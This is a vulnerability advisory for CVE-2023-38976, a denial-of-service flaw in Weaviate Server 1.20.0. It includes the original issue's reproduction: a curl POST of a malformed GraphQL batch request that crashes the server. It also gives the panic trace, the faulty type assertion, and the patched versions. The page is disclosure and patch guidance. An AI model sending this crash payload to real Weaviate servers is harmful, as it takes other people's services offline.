Headline
CVE-2023-38976: panic when type assertions in function handleUnbatchedGraphQLRequest · Issue #3258 · weaviate/weaviate
An issue in weaviate v.1.20.0 allows a remote attacker to cause a denial of service via the handleUnbatchedGraphQLRequest function.
version : 1.20.0
run AUTHENTICATION_ANONYMOUS_ACCESS_ENABLED=true PERSISTENCE_DATA_PATH=/r3p/vdb/wea/ ./weaviate-server --port=8080 --scheme=http
send curl -X POST -H ‘Content-Type: application/json’ -d '[{"operationName":"r3","query":"r3","variables":[1337]}]' http://127.0.0.1:8080/v1/graphql/batch
panic
panic: interface conversion: interface {} is []interface {}, not map[string]interface {}
goroutine 2111 [running]:
github.com/weaviate/weaviate/adapters/handlers/rest.handleUnbatchedGraphQLRequest({0x1c0b108, 0xc005a6ba10}, 0x14800000735?, {0x1bfb8a0, 0xc000564000}, 0xc005a6b8c0, 0x0, 0xc0004c48b8, 0xc0028bcd98)
/r3p/vdb/wea/wea1200/adapters/handlers/rest/handlers_graphql.go:222 +0x6ee
created by github.com/weaviate/weaviate/adapters/handlers/rest.setupGraphQLHandlers.func2
/r3p/vdb/wea/wea1200/adapters/handlers/rest/handlers_graphql.go:179 +0x36d
if Variables is not map[string]interface{}, it may panic
//handlers_graphql.go:222 if unbatchedRequest.Variables != nil { variables = unbatchedRequest.Variables.(map[string]interface{}) }
Related news
### Impact This vulnerability is a type conversion issue that affects users of Weaviate Server versions 1.20.0 and earlier. Who is impacted: Users of Weaviate Server versions 1.20.0 and earlier are impacted by this vulnerability. ### Patches A patch has been developed for this vulnerability. Patch releases 1.20.6, 1.19.13, and 1.18.6 are fixing this vulnerability in each respective minor version release. Users are strongly recommended to upgrade to one of these patched versions to address the vulnerability. Keeping software up-to-date is crucial to avoid security vulnerabilities. ### Workarounds There are no known workarounds to fix or remediate this vulnerability without upgrading. Users must upgrade to a patched version to mitigate the risk. ### References * https://github.com/weaviate/weaviate/releases/tag/v1.18.6 * https://github.com/weaviate/weaviate/releases/tag/v1.19.13 * https://github.com/weaviate/weaviate/releases/tag/v1.20.6
An issue in weaviate v.1.20.0 allows a remote attacker to cause a denial of service via the `handleUnbatchedGraphQLRequest` function.